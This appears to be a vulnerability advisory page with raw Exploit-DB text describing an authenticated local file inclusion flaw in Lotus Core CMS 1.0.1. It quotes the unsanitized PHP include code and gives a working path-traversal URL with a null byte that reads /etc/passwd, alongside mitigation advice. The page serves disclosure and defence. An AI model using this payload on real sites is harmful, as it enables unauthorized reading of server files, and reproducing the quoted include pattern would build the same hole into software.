Lotus Core CMS 1.0.1 - Local File Inclusion

vendor:

Lotus Core CMS

by:

Daniel Monzón (stark0de)

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Lotus Core CMS

Affected Version From: 1.0.1

Affected Version To: 1.0.1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 x86

2020

Lotus Core CMS 1.0.1 – Local File Inclusion

The vulnerability occurs on line 65 of the index.php file. If the page_slug parameter is not set by the user, it is set to 'index'. However, if the user sets the parameter via a GET or POST request, it checks if the file exists and performs an unsanitized inclusion. The PHP file appends '.php' to anything provided as the page_slug parameter, allowing for file inclusion. Authentication is required to exploit this vulnerability.

Mitigation:

Implement input validation and sanitization to prevent path traversal attacks. Use safe file inclusion methods such as whitelisting allowed files or using absolute paths.

Source

Exploit-DB raw data:

# Exploit Title: Lotus Core CMS 1.0.1 - Local File Inclusion
# Google Dork: N/A
# Date: 2020-01-31
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: http://lotuscore.sourceforge.net/
# Software Link: https://sourceforge.net/projects/lotuscore/files/latest/download
# Version: 1.0.1
# Tested on: Windows 7 x86
# CVE : N/A


The vulnerability occurs on line 65 of the index.php file, first we can provide the page_slug parameter,
if it's not set by the user it is set to index, but if the user sets the parameter via a GET or POST request,
it checks if the file exists and if it exists, it performs an unsanitized inclusion.

-----------------------------------------------------------------------------

if(!$_REQUEST['page_slug']){
	$_REQUEST['page_slug'] = 'index';
}
if(file_exists('system/plugins/'.$_REQUEST['page_slug'].'.php') == true){
	include('system/plugins/'.$_REQUEST['page_slug'].'.php');
}else{
	include("system/plugins/error/404.php");
}

------------------------------------------------------------------------------


The PHP file appends .php to anything we provide as page_slug parameter so to include any file we must use a nullbyte.
Note that you need to be authenticated to exploit this. The explotation would be like this:

http://site:80/index.php?page_slug=../../../../../etc/passwd%00